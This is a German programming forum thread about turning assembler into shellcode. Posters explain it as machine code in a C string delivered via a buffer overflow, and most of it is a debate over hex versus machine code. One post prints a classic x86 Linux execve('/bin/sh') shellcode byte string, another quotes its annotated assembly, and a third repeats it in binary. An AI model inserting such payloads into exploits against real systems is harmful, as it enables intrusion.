Assemblercode in Shellcode umwandeln



  • 000026D0: CD 0A 00 00 10 01 E1 3A 28 6F B1 35 07 F1 B7 C7 Í.....á:(o±5.ñ·Ç

    Traurig.



  • Ich habe hier nichts verstanden... kann mir jemand bitte erklären, wozu Assembler nach Shellcode umwandeln... und was ist Shellcode überhaupt?



  • abc.c schrieb:

    kann mir jemand bitte erklären, wozu Assembler nach Shellcode umwandeln... und was ist Shellcode überhaupt?

    Shellcode ist Maschinencode (also der Output des Assemblers) und dann in einen C-String umgewandelt. Das ermöglicht ein einfaches einbetten in C/C++ anwendung. Den Shellcode sendet man dann an irgendein "serverprogramm" welches durch einen Bufferoverflow dazu gebracht werden soll, den Shellcode auszuführen.

    Ich würd das am besten mit nasm/gas nach binary assemblieren und dann mir entweder ein programm zum umwandeln in einen C-String bauen (Dann brauchst du nur noch den Output c&p'en) oder aber das von Hand mit dem Hexeditor machen.

    Ich hoffe du weißt, dass du dich dabei strafbar machen kannst.

    [edit: Ich find es extrem nervend irgendwelche Batzen von irgendwas einfach hinzuklatschen 😡 ]



  • Bluecode:

    Du hast keine Ahnung von was du redest.
    Wo sind denn die batzen hm?
    das hat alles so seine richtigkeit.



  • Snickers_und_Mars schrieb:

    Du hast keine Ahnung von was du redest.

    Das musst du mir jetzt aber erklären. Nicht das ich Ahnung von Shellcodes hätte, aber mich würd schon interessieren was ich jetzt schon wieder falsch gemacht hab.

    Wo sind denn die batzen hm?

    Den Dump... den fand/find ich überflüssig, oder nicht?



  • Hallo,

    http://de.wikipedia.org/wiki/Shellcode

    Ich habe jetzt keinen Shellcode zur Hand. Ich verweise jetzt einfach mal auf Phrack.

    bluecode redet von Maschinencode. Shellcode ist Hexcode.

    MFG winexec*



  • bluecode redet von Maschinencode. Shellcode ist Hexcode.

    Hä ?? Als ob es da einen Unterschied gäbe 😉
    Ist doch beides richtig 😃

    Ich würde mal sagen: Shellcode ist ein in Hexcode umgewandelter Maschinencode.



  • Das seh ich auch so 😉



  • Hallo,

    Das sind zwei verschiedene Sachen.

    MFG winexec*



  • Ich hab mir den wikipedia artikel nochmal durchgelesen und bleibe bei meiner Meinung. Dann erklär mal bitte den Unterschied bzw. was Shellcode dann sein soll!



  • Hallo,

    Das ist Shellcode(Hexadezimal):

    char shellcode[] =
    "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
    "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
    "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
    "\xff\xff/bin/sh";
    char addr[5]="AAAA\x00";

    Sieht zumindest für mich nicht nach dem binären Zahlensystem aus(Maschinensprache).

    MFG winexec*



  • das was du da von dir gibts ist

    wikipedia schrieb:

    void main() {
    __asm__("
    jmp 0x2a # 3 bytes - springt direkt vor den String
    popl %esi # 1 byte - Adresse des Strings wird in esi geladen
    movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben
    movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert
    movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment
    movl $0xb,%eax # 5 bytes - syscall-nummer in eax
    movl %esi,%ebx # 2 bytes - ebx enthält die adresse von "/bin/sh"
    leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer
    leal 0xc(%esi),%edx # 3 bytes - environment
    int $0x80 # 2 bytes - interrupt wird ausgelöst
    movl $0x1, %eax # 5 bytes - exit-interrupt
    movl $0x0, %ebx # 5 bytes - wird vorbereitet
    int $0x80 # 2 bytes - interrupt wird ausgelöst
    call -0x2f # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht
    .string \"/bin/sh\" # 8 bytes
    ");
    }

    nur compiliert/assembliert (-> Maschinencode) und danach in einen C/C++ String umgewandelt. Insofern ist es in einen C-String umgewandelter Maschinencode...

    ➡ Das Thema hat sich für mich erledigt 😉



  • Hallo,

    int ist nicht char und dabei bleibt es.

    MFG winexec*



  • *lach* Habt ihr nix besseres zu tun ?? 😃
    Ich würde auch sagen, dass der Fall abgeschlossen ist, denn:

    Überlegt doch mal - beide Aussagen gehören doch zusammen wie .... wie...ach k.A. 😉

    Einerseits hätten wir da Hexcode. Hexcode muss ja nicht unbedingt sinnvoller Maschinencode sein. D.h. es könnte auch eine Abfolge von Maschinenbefehlen dabei rauskommen, die sich nie ein Programmierer erträumen würde, weil die Kombination einfach nur sinnloses, wirres Zeug ergibt. Geschweige denn ein nützliches Programm. Die Programme, die ich schreibe könnte ich hier als Beispiel anführen 😃 Spaß. Hexcode - das ist ja nur eine Abfolge von Zahlen, die im Hex-System geschrieben wurden. Außerdem wäre die Aussage "Sieht zumindest für mich nicht nach dem binären Zahlensystem aus" nicht richtig
    -> denn worin liegt denn der Unterschied zwischen Hexzahlen und Binärzahlen ??? Genau - Es gibt KEINEN !!! Die Zahlen sind die selben. Nur die Art der Darstellung ist anders. (Man sagt, dass sich Hexzahlen für den Menschen leichter lesen lassen)

    Auf der anderen Seite die Aussage, dass Shellcode Maschinencode ist.
    Hm... jooaa Shellcode IST ja AUCH Maschinencode.
    Nur da es sich inzwischen eingebürgert hat, dass man "Shellcode" im Hex-System in seine Strings pflanzt, wäre es auch nicht unbedingt richtig zu sagen, dass es sich NUR um Maschinencode handelt. Das hängt ja auch mit C/C++ zusammen.
    Denn in C kann man seine char/int - Arrays auf schnelle Weise durch Strings in der Art "\xHexzahl\xHexzahl" mit Zahlen füllen.
    Ob ich die Zahlen in der Hexschreibweise oder in der Binärschreibweise oder evtl sogar in der Oktalschreibweise angebe - ganz egal. Alles Shellcode.
    Doch wer schreibt heutzutage noch seine Zahlen im Oktalformat in seine Strings ?? Oder im Binärformat ??? Viel Spaß bei den Nullen und Einsen. Wer das macht, der hat warscheinlich auch noch nen Plattenspieler zu Hause anstatt nen mp3-Player 😛 Nein, Spaß beiseite. Plattenspieler sind schon was cooles.

    Deshalb: Die Begriffe gehören unter dem Oberbegriff "Shellcode" wie Pfeffer und Salz zusammen. So. Ich hab morgen eigentlich Physikschulaufgabe. Anstatt zu lernen schreib ich hier ne Definition über Shellcodes. Ohoh...
    Egal. Der nächste Deutschaufsatz reissts dann wenigstens wieder raus. ^^
    Ich bezweifle nur, dass ich darin was über Shellcode schreiben darf...

    Also verbringt euren Nachmittag sinnvoller als ich 😛
    Byebye und schöne Grüße
    Ranjid



  • Hallo,

    Richtig aber ungenau.

    MFG winexec*



  • winexec* schrieb:

    Hallo,

    int ist nicht char und dabei bleibt es.

    MFG winexec*

    nee bleibt es nicht...!
    Stichwort: p-adisches system, kannste gucken (http://de.wikipedia.org/wiki/P-adische_Zahlen).
    Was zählt ist 0 und 1, der Rest dient der Einfachheit und dem Verständniss!
    Beim char ist es dann eben nicht die Basis 2 sondern 127 (bzw. 256).
    Nur bei der Größe, da haste recht.

    winexec* schrieb:

    Hallo,

    Das ist Shellcode(Hexadezimal):

    001100011 001101000 001100001 001110010 000100000 001110011 001101000 001100101 001101100 001101100 001100011 001101111 001100100 001100101 001011011 001011101 000100000 000111101 000001010 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100010 001011100 001111000 001100101 001100010 001011100 001111000 000110010 000110010 001011100 001111000 000110101 001100101 001011100 001111000 000111000 000111001 001011100 001111000 001100110 000110011 001011100 001111000 000111000 000111001 001011100 001111000 001100110 000110111 001011100 001111000 000111000 000110011 001011100 001111000 001100011 000110111 001011100 001111000 000110000 000110111 001011100 001111000 000110011 000110001 001011100 001111000 001100011 000110000 001011100 001111000 001100001 001100001 000100010 000001010 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100010 001011100 001111000 000111000 000111001 001011100 001111000 001100110 000111001 001011100 001111000 000111000 000111001 001011100 001111000 001100110 000110000 001011100 001111000 001100001 001100010 001011100 001111000 000111000 000111001 001011100 001111000 001100110 001100001 001011100 001111000 000110011 000110001 001011100 001111000 001100011 000110000 001011100 001111000 001100001 001100010 001011100 001111000 001100010 000110000 001011100 001111000 000110000 000111000 001011100 001111000 000110000 000110100 000100010 000001010 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100010 001011100 001111000 000110000 000110011 001011100 001111000 001100011 001100100 001011100 001111000 000111000 000110000 001011100 001111000 000110011 000110001 001011100 001111000 001100100 001100010 001011100 001111000 000111000 000111001 001011100 001111000 001100100 000111000 001011100 001111000 000110100 000110000 001011100 001111000 001100011 001100100 001011100 001111000 000111000 000110000 001011100 001111000 001100101 000111000 001011100 001111000 001100100 000111001 001011100 001111000 001100110 001100110 000100010 000001010 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100010 001011100 001111000 001100110 001100110 001011100 001111000 001100110 001100110 000101111 001100010 001101001 001101110 000101111 001110011 001101000 000100010 000111011 000001010 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 000100000 001100011 001101000 001100001 001110010 000100000 001100001 001100100 001100100 001110010 001011011 000110101 001011101 000111101 000100010 001000001 001000001 001000001 001000001 001011100 001111000 000110000 000110000 000100010 000111011 000001010

    Sieht zumindest für mich nicht nach dem binären Zahlensystem aus(Maschinensprache).

    MFG winexec*

    sieht für mich binär aus 😃

    Grüße



  • winexec meinte wohl Hex statt Hexadezimal;)



  • winexec meinte wohl Hex statt Hexadezimal;)

    Eine hexadezimale Zahl ist eine Zahl, die auf der Basis 16 existiert. Dezimalzahlen haben die Basis 10.



  • Hallo.

    #include <iostream>
    
    class CShellCode
    {
    public:
        unsigned char* pcShellCode;
    	unsigned int iSize;
    };
    
    void Trundles1337ASMCode(CShellCode* pShellCode)
    {
        __asm
        {
    		mov edx, ShellcodeBegin
    		mov eax, pShellCode		
    		mov [eax], edx
    
    		mov edx, ShellcodeEnd
    		sub edx, ShellcodeBegin
    		mov [eax+4], edx
        }
    	return;
    
        __asm
        {
    ShellcodeBegin:
    		int 03
    ShellcodeEnd:
        }
    }
    
    int main()
    {
    	CShellCode Trundles1337ShellCode;
    	Trundles1337ASMCode(&Trundles1337ShellCode);
    	std::cout << static_cast<void*>(Trundles1337ShellCode.pcShellCode) << " " << Trundles1337ShellCode.iSize << std::endl <<
    		((Trundles1337ShellCode.pcShellCode[0]==0xCC && Trundles1337ShellCode.iSize==1) ? "Alles OK" : "Nicht gut. Trundle hat Mist gebaut. :\\") <<
    			std::endl;
    
    //Jetzt den Code in eine Datei speichern und fertig ist dein Shellcode.
    
    	return 0;
    }
    

    [EDIT]@Threadstarter: Dein Shellcode hätte' außerhalb des eigenen, mit VC compilten Prozess, eh nicht funktioniert, da dein Code den VC Stackchecker sowie die Sleep-Funktion über die IDT call't:[/EDIT]
    [EDIT2-7]rechtschreibung :[/EDIT2]


Anmelden zum Antworten